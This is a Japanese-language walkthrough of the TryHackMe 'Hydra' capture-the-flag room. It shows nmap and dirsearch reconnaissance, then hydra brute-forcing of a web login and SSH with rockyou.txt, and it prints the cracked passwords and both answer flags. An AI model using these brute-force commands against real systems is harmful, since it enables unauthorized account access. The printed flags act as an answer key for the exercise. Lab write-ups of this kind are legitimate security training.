概要
TryHackMe「Hydra」のWalkthroughです。
Task2
Q1.Use Hydra to bruteforce molly's web password. What is flag 1?
Hint.If you've tried more than 30 passwords from RockYou.txt, you are doing something wrong!
nmap
でポートスキャンを実行します。
$ nmap -Pn -sC -A -T4 -sV 10.10.58.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 04:59 EDT
Warning: 10.10.58.118 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.58.118
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:c1:58:b6:bb:db:a6:48:3c:64:4f:e1:ef:93:8e:53 (RSA)
| 256 47:74:4c:f1:8c:72:09:eb:fc:f7:d5:34:5e:86:1f:95 (ECDSA)
|_ 256 69:0b:58:95:ff:7e:c2:f8:1a:37:9a:68:05:1e:c3:b3 (ED25519)
80/tcp open http Node.js Express framework
| http-title: Hydra Challenge
|_Requested resource was /login
85/tcp filtered mit-ml-dev
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.17 seconds
ssh:22
,http:80
番ポートがオープンになっていることを確認出来ました。
Webサイトにアクセスするとログインフォームが表示されました。
一応他のディレクトリがないか列挙してみます。
$ dirsearch -u http://10.10.58.118
[05:02:28] 301 - 171B - /js -> /js/
[05:03:56] 301 - 179B - /assets -> /assets/
[05:04:22] 301 - 173B - /css -> /css/
[05:04:52] 301 - 173B - /img -> /img/
[05:05:06] 200 - 1KB - /login
[05:05:07] 200 - 1KB - /login/
とりあえずはこのページだけのようですね。
問題文からユーザー名はmolly
だと推測できるのでパスワードをhydra
で解析します。
必要なパラメータ(POSTボディのパラメータ
、失敗時のエラーメッセージ
)を開発者ツールから取得します。
パスワードを解析します。
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.58.118 http-post-form "/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect" -V
クレデンシャル情報を取得できました。
[80][http-post-form] host: 10.10.58.118 login: molly password: sunshine
Username: molly
,Password: sunshine
を入力してログインするとフラグが表示されました。
A.THM{2673a7dd116de68e85c48ec0b1f2612e}
Q2.Use Hydra to bruteforce molly's SSH password. What is flag 2?
ポートスキャンの結果からssh:22
の存在を確認しているので先ほどのクレデンシャル情報でログインできるか試してみます。
$ ssh molly@10.10.58.118
The authenticity of host '10.10.58.118 (10.10.58.118)' can't be established.
ED25519 key fingerprint is SHA256:gVse1N29rp2F2dojs+9RKmugGqi8qa/JQmOiOJc5E+c.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.58.118' (ED25519) to the list of known hosts.
molly@10.10.58.118's password:
Permission denied, please try again.
molly@10.10.58.118's password:
ダメみたいですね。
恐らく別のパスワードが使用されているのでしょう。
これもhydra
で解析します。
$ hydra -f -l molly -P /usr/share/wordlists/rockyou.txt 10.10.58.118 ssh -V -t 30
SSH接続用のパスワードを特定できました。
[22][ssh] host: 10.10.58.118 login: molly password: butterfly
SSH接続をします。
$ ssh molly@10.10.58.118
molly@10.10.58.118's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-1092-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
65 packages can be updated.
32 updates are security updates.
Last login: Tue Dec 17 14:37:49 2019 from 10.8.11.98
molly@ip-10-10-58-118:~$
カレントディレクトリにあるflag2.txt
を閲覧してフラグゲットです!
molly@ip-10-10-58-118:~$ ls -l
total 4
-rw-rw-r-- 1 molly molly 38 Dec 17 2019 flag2.txt
molly@ip-10-10-58-118:~$ cat ./flag2.txt
THM{c8eeb0468febbadea859baeb33b2541b}
A.THM{c8eeb0468febbadea859baeb33b2541b}